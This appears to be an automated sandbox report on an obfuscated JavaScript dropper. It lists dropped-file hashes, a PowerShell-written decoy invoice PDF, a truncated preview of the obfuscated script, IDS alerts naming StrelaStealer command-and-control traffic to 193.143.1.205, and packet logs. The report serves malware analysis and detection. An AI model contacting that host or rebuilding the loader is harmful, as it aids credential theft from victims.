SSDEEP:	384:spdEVJ4uEkH33BD+dc8buYnmGJ6GaEkrnwl3tHOU8+sxOfjYuzYo+X+Das641eWn:v05
MD5:	ADDE861D857BEFB5CE9FDAED18BCD1F0
SHA1:	B5C513F8CF9D42BC91F8630FF789DED3E75F1359
SHA-256:	BED2134161F27B5C6BB87754F860B1D58473D67A20600084CC925CDE02A8EFC6
SHA-512:	6AEF3A1123048E42AA224A1B3F6AC9CA249E284637DDCC3D46B13F4741A9BC3954D1004C3A26591AE0D353720FEA4EE52CE771742F1B24262B6790077B6A696D
Malicious:	false
Preview:	SessionID=c16667a2-b760-4103-ac2e-43467fc05456.1736575314104 Timestamp=2025-01-11T01:01:54:104-0500 ThreadID=7268 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c16667a2-b760-4103-ac2e-43467fc05456.1736575314104 Timestamp=2025-01-11T01:01:54:105-0500 ThreadID=7268 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c16667a2-b760-4103-ac2e-43467fc05456.1736575314104 Timestamp=2025-01-11T01:01:54:105-0500 ThreadID=7268 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c16667a2-b760-4103-ac2e-43467fc05456.1736575314104 Timestamp=2025-01-11T01:01:54:105-0500 ThreadID=7268 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c16667a2-b760-4103-ac2e-43467fc05456.1736575314104 Timestamp=2025-01-11T01:01:54:105-0500 ThreadID=7268 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.40711514655764
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRo:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRq
MD5:	B53A1BA9D8CA89BED3DFC9AB0E11366C
SHA1:	5FDF2B55AC665893176BDB81098408DC9535CF4E
SHA-256:	8B9596F45004DDC3ECFD47E2DAE26176C7DE424D39969151E98E817A2FDC27E3
SHA-512:	4D8CF2917EA5AC9F9298A621C70A2D3A2755A85B51711C6ABDAFC225778187B02EA2E1345FC17248804E7C6B3E5808CE36E12DF0D946B4E49707D9F82B8E415A
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\57ed8eda-587e-473d-a4f3-5ea9be78625f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\8856173f-70ac-4bd6-9b36-6cd2d0698787.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oSwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxSwZG6GZn3mlind9i4ufFXpAXkru
MD5:	C267C8C3D4A0DBACC06F3737E1784EB3
SHA1:	D798A10176D979377257977E896C8D332B785F23
SHA-256:	B5B5EF233AADF8F9C3509CDE98C7A9885D0E1B4938CD2A0676170BC8B30855F4
SHA-512:	3C9CC6700F7827321C0DEADA8F8517F8BAAB6056AF3D7FDAA71BF258C58399EDFDA8601AEBAEEBAB36EF0B1F59BA3E9690EEC2ACD2B8E3A94C8A328261D55D16
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f5d1f255-1af0-475b-84d8-dc780b132ea6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f919090e-ca69-4e30-845f-de1b86fd0fc2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18706), with CRLF line terminators
Entropy (8bit):	4.901311337742561
TrID:
File name:	3244127882174020209.js
File size:	21'905 bytes
MD5:	f66622522c8909b7d3f9656c32e23445
SHA1:	23c9d1602ef6a6965f81347727e7d99cf237ae82
SHA256:	c95006d1bbb9c8c77d446776631515cb4cde9c5eed8f401b98bd9441b1f24c2d
SHA512:	e9457c3802ebc16f5b05afb9bc8fa78cef907d88b561577c2d2e450960aa9ece19d9af8f2a10e00452f43f5b2a42ea41fff1d731cd05232cfcdcce9dea3cc7ce
SSDEEP:	384:M5gxc3A8UTEHKS7mh7qpH8ZgRj1KYO2B+4:M5gxiA8RqS7mh+J8ZMj1KYHBl
TLSH:	D5A260518814DB9E6DF889B154E7D9900B74C34CE7E8484E6C0F3928DAA7B7CE1F217A
File Content Preview:	function tuewgizu(){qjylp=[1031,3079,5127,4103,2055,3072];var qooztzoh=this[wmauk+pwaoe+qrscrrmxy+cinoa+cfieqo+pqydujf+ajuuceu+nxgja](this[fythn+pigpebazn+umenk+qrscrrmxy+xmaux+wmauk+nxgja][ieaavvr+qrscrrmxy+cfieqo+pwaoe+nxgja+cfieqo+htgwwz+otrovnx+amnnv+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:01:50.371558+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T07:01:50.371558+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T07:01:52.487133+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49700	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:01:49.596386909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:49.601978064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:49.602061987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:49.605393887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:49.610265017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.371362925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.371407986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.371464014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.371499062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.371536016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.371557951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.371558905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.371592045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.371623993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.371643066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.371659994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.371692896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.371716022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.371728897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.371789932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.376638889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.417426109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.417457104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.417521954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.471532106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.488562107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.488578081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.488658905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.488670111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.488681078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.488718987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.488764048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.489131927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.489142895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.489154100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.489187002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.489223957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.489660978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.489672899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.489684105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.489689112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.489695072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.489742994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.490503073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.490514040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.490525007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.490559101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.490570068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.490597010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.490597010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.490644932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.491466045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.491476059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.491486073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.491523027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.491583109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.491594076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.491667986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.546174049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.546200991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.546220064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.546320915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.575359106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.575510979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.606029034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606051922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606062889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606071949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606085062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606172085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.606298923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606398106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606408119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606416941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606426954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606427908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.606456041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.606487036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.606956959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606966972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606976986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606987000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.606996059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.607004881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.607014894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.607021093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.607067108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.607100964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.607822895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.607832909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.607842922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.607872963 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.607902050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.607913971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.607924938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.607933998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.607944965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.607974052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.607995987 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.608875036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.608886003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.608896017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.608905077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.608916044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.608926058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.608936071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.608964920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.609019041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.609833002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.609843969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.609853983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.609863997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.609880924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.609890938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.609901905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.609915972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.609944105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.609963894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.610603094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.618135929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.618164062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.618191957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.618236065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.618323088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.633032084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.633045912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.633057117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.633121014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.651793003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.651810884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.651866913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.662281036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.662297964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.662307978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 07:01:50.662379980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.662425041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 07:01:50.698951960 CET	80	49699	193.143.1.205	192.168.2.7
